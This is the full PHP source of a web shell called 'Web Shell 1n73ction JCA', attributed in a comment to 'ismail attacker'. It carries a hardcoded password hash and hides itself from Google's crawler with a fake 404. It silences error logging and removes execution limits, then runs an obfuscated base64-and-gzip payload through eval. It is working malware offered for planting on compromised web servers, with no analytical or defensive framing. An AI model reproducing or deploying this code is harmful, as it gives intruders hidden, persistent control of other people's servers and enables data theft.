Web Shell 1n73ction JCA

<?php
/* (Web Shell 1n73ction r3c0d3d by ismail attacker |default pass:" AnonYmous-IQ ") */
$auth_pass = "db546cde89c9f4604a9ca7b342bde3c7";
$color = "#008B8B";
$default_action = 'FilesMan';
@define('SELF_PATH', __FILE__);
if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) {
    header('HTTP/1.0 404 Not Found');
    exit;
}
@session_start();
@error_reporting(0);
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@ini_set('output_buffering',0);
@ini_set('display_errors', 0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('VERSION', '2.1');
if( get_magic_quotes_gpc() ) {
    function stripslashes_array($array) {
        return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
    }
    $_POST = stripslashes_array($_POST);
}
function printLogin() {
    ?>
<TITLE>[#] Nabilah Dot ID ( JCA shell )</TITLE>
<body BGCOLOR="black">
<p><center><img src="http://s12.postimg.org/8h0rau6d9/coollogo_com_161484773.png" width="405" height="120"></center>
<hr>
<address></address>
<style>
        input { margin:0;background-color:#fff;border:1px solid #fff; }
    </style>
    <center>
    <form method=post >
    <input type=password name=pass >
    </form></center>
    <?php
    exit;
}
if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
    if( empty( $auth_pass ) ||
        ( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) )
        $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
    else
        printLogin();

eval(gzuncompress(base64_decode("eNpTKU4uyiwoUbBVSMvMSY1PTy2JT87PK0nNKynWUM8oKSmw0tcvSCwuSU3KzNNLzs/VL0os1yvIKLDPtC3LDnMPCCg3Ude05uVKLUvM0UivysxLy0ksSdVISixONTOJT0lNzk9J1VCBWKKpqWkNANFIJwc="))); ?>